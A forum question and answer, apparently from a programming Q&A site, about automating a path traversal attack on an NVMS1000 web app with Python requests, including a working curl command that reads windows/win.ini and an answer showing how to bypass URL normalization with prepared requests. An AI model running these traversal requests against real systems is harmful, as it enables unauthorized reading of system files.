2

recently I wanted to automate an attack for a web app that is prone to path traversal attacks (NVMS1000) via python requests module.

The request works perfectly with curl by using the option path-as-is:

curl --path-as-is http://127.0.0.1/../../../../../../../../../../windows/win.ini

However when using python requests module the "../" where stripped from the urlpath (as I can clearly see e.g. via Burp Suite):

host = "127.0.0.1"
path = "/../../../../../../../../../.."
file = "/windows/win.ini"
url = host+path+file
response = requests.get(url,proxies=proxies)

I checked the docs but did not find any explanation for this behaviour nor found an option to prevent the stripping/normalization similar as the option for curl.

platform is debian, request module is version 2.22.0

Thanks for your help.

0

1 Answer 1

1

I know I am late, but consider downgrading urllib3:

pip install --upgrade urllib3==1.24.3

Or better yet, you should use prepared requests:

my_url = 'http://127.0.0.1/../../../../../../../../../../windows/win.ini'
s = requests.Session()
r = requests.Request(method='GET', url=my_url)
prep = r.prepare()
prep.url = my_url # actual url you want
response = s.send(prep)
1

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge that you have read and understand our privacy policy and code of conduct.

Not the answer you're looking for? Browse other questions tagged or ask your own question.